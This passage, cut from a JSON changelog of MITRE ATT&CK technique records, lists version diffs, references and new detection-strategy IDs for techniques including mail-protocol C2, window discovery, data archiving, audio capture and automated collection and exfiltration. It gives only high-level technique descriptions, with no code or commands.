be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071/003", + "external_id": "T1071.003" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Don Le, Stifel Financial\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.564000+00:00\", \"old_value\": \"2025-04-15 19:58:32.320000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [ + "M1037: Filter Network Traffic" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0135: Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:24.512000+00:00", + "modified": "2025-10-24 17:48:44.488000+00:00", + "name": "Application Window Discovery", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1010", + "external_id": "T1010" + }, + { + "source_name": "ESET Grandoreiro April 2020", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/" + }, + { + "source_name": "Prevailion DarkWatchman 2021", + "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", + "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.488000+00:00\", \"old_value\": \"2025-04-15 21:49:50.019000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0097: Detection of Application Window Enumeration via API or Scripting" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 20:53:45.725000+00:00", + "modified": "2025-10-24 17:48:48.023000+00:00", + "name": "Archive Collected Data", + "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1560", + "external_id": "T1560" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.", + "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Script: Script Execution\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.023000+00:00\", \"old_value\": \"2025-04-15 21:50:30.319000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n\\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\\n\\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n-\\n-A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\\n-\\n-Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0526: Detect Archiving and Encryption of Collected Data (T1560)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 21:09:55.995000+00:00", + "modified": "2025-10-24 17:48:26.190000+00:00", + "name": "Archive via Custom Method", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1560/003", + "external_id": "T1560.003" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.190000+00:00\", \"old_value\": \"2025-04-15 21:50:49.814000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0012: Script (Script Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0438: Detect Archiving via Custom Method (T1560.003)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 21:08:52.529000+00:00", + "modified": "2025-10-24 17:48:42.345000+00:00", + "name": "Archive via Library", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1560/002", + "external_id": "T1560.002" + }, + { + "source_name": "libzip", + "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.", + "url": "https://libzip.org/" + }, + { + "source_name": "Zlib Github", + "description": "madler. (2017). zlib. Retrieved February 20, 2020.", + "url": "https://github.com/madler/zlib" + }, + { + "source_name": "PyPI RAR", + "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.", + "url": "https://pypi.org/project/rarfile/" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.345000+00:00\", \"old_value\": \"2025-04-15 21:51:09.003000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n\\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n-\\n-Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0012: Script (Script Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0268: Detect Archiving via Library (T1560.002)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 21:01:25.428000+00:00", + "modified": "2025-10-24 17:48:19.477000+00:00", + "name": "Archive via Utility", + "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1560/001", + "external_id": "T1560.001" + }, + { + "source_name": "WinRAR Homepage", + "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.", + "url": "https://www.rarlab.com/" + }, + { + "source_name": "WinZip Homepage", + "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.", + "url": "https://www.winzip.com/win/en/" + }, + { + "source_name": "7zip Homepage", + "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.", + "url": "https://www.7-zip.org/" + }, + { + "source_name": "diantz.exe_lolbas", + "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mayan Arora aka Mayan Mohan", + "Mark Wee" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.477000+00:00\", \"old_value\": \"2025-04-15 21:51:23.078000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n\\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n-\\n-Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0298: Detect Archiving via Utility (T1560.001)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:34.528000+00:00", + "modified": "2025-10-24 17:48:24.702000+00:00", + "name": "Audio Capture", + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1123", + "external_id": "T1123" + }, + { + "source_name": "ESET Attor Oct 2019", + "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.702000+00:00\", \"old_value\": \"2025-04-15 21:51:52.461000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n\\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n-\\n-Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0221: Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:27.985000+00:00", + "modified": "2025-10-24 17:48:35.995000+00:00", + "name": "Automated Collection", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1119", + "external_id": "T1119" + }, + { + "source_name": "Mandiant UNC3944 SMS Phishing 2023", + "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.", + "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "macOS", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Command: Command Execution\", \"File: File Access\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.995000+00:00\", \"old_value\": \"2025-04-15 19:58:18.743000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0186: Automated File and API Collection Detection Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:29.458000+00:00", + "modified": "2025-10-24 17:48:58.340000+00:00", + "name": "Automated Exfiltration", + "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1020", + "external_id": "T1020" + }, + { + "source_name": "ESET Gamaredon June 2020", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + 